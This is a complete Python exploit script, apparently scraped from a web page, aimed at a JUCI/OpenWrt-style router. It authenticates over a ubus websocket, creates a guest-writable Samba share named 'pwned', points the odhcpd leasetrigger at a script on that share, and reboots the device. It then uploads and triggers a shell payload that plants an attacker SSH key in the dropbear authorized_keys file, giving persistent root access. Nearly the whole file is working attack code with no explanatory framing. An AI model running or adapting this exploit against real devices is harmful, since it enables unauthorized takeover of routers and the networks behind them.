|
#!/usr/bin/python
import json
import sys
import subprocess
import socket
import os
from time import sleep
from websocket import create_connection
def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call",
"params":["00000000000000000000000000000000","session","login",
{"username": username,"password":password}],
"id":666})
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
key = response.get('result')[1].get('ubus_rpc_session')
except IndexError:
return(None)
return(key)
def ubusCall(host, key, namespace, argument, params={}):
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call",
"params":[key,namespace,argument,params],
"id":666})
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
result = response.get('result')[1]
except IndexError:
if response.get('result')[0] == 0:
return(True)
return(None)
return(result)
if __name__ == "__main__":
host = "192.168.1.1"
payload = """
#!/bin/sh
/bin/echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" > /etc/dropbear/authorized_keys
/usr/sbin/odhcpd-update
exit 0
"""
print("Authenticating...")
key = ubusAuth(host, "user", "password")
if (not key):
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Adding Samba share...")
smbcheck = json.dumps(ubusCall(host, key, "uci", "get",
{"config":"samba"}))
if ("pwned" in smbcheck):
print("Samba share seems to already exist, skipping")
else:
smba = ubusCall(host, key, "uci", "add",
{"config":"samba", "type":"sambashare", "values":
{"name":"pwned", "read_only":"no", "create_mask":"0775", "dir_mask":"0775",
"path":"/mnt/", "guest_ok":"yes"}})
if (not smba):
print("Adding Samba share failed!")
sys.exit(1)
print("Enabling Samba...")
smbe = ubusCall(host, key, "uci", "set",
{"config":"samba", "type":"samba", "values":
{"interface":"lan"}})
if (not smbe):
print("Enabling Samba failed!")
sys.exit(1)
print("Committing changes...")
smbc = ubusCall(host, key, "uci", "commit",
{"config":"samba"})
if (not smbc):
print("Committing changes failed!")
sys.exit(1)
print("Setting malicious leasetrigger...")
lts = ubusCall(host, key, "uci", "set",
{"config":"dhcp", "type":"odhcpd", "values":
{"leasetrigger":"/mnt/pwn.sh"}})
if (not lts):
print("Setting leasetrigger failed!")
sys.exit(1)
print("Committing changes...")
ltc = ubusCall(host, key, "uci", "commit",
{"config":"dhcp"})
if (not ltc):
print("Committing changes failed!")
sys.exit(1)
print("Rebooting system...")
reb = ubusCall(host, key, "juci.system", "reboot")
if (not reb):
print("Rebooting failed, try rebooting manually!")
sys.exit(1)
print("Waiting on reboot...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
isUp = None
while (not isUp):
try:
sleep(10)
s.connect((host, 8080))
isUp = True
s.close()
except:
pass
print("Creating temp file for payload...")
with open(".payload.tmp","a+") as file:
file.write(payload)
path = os.path.realpath(file.name)
print("Dropping payload...")
subprocess.run(r"smbclient \\\\%s\\pwned p -c 'put %s pwn.sh'" % (host, path),
shell=True, check=True)
print("Payload dropped")
print("Authenticating...")
key = ubusAuth(host, "user", "password")
if (not key):
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Executing payload")
eec = ubusCall(host, key, "juci.service", "stop",
{"name":"odhcpd"})
if (not eec):
print("Stopping odhcpd failed!")
sys.exit(1)
ees = ubusCall(host, key, "juci.service", "start",
{"name":"odhcpd"})
if (not ees):
print("Starting odhcpd failed!")
sys.exit(1)
print("Cleaning up...")
os.remove(path)
print("Exploitation complete")
|
| |
|
推荐
评论(0条)
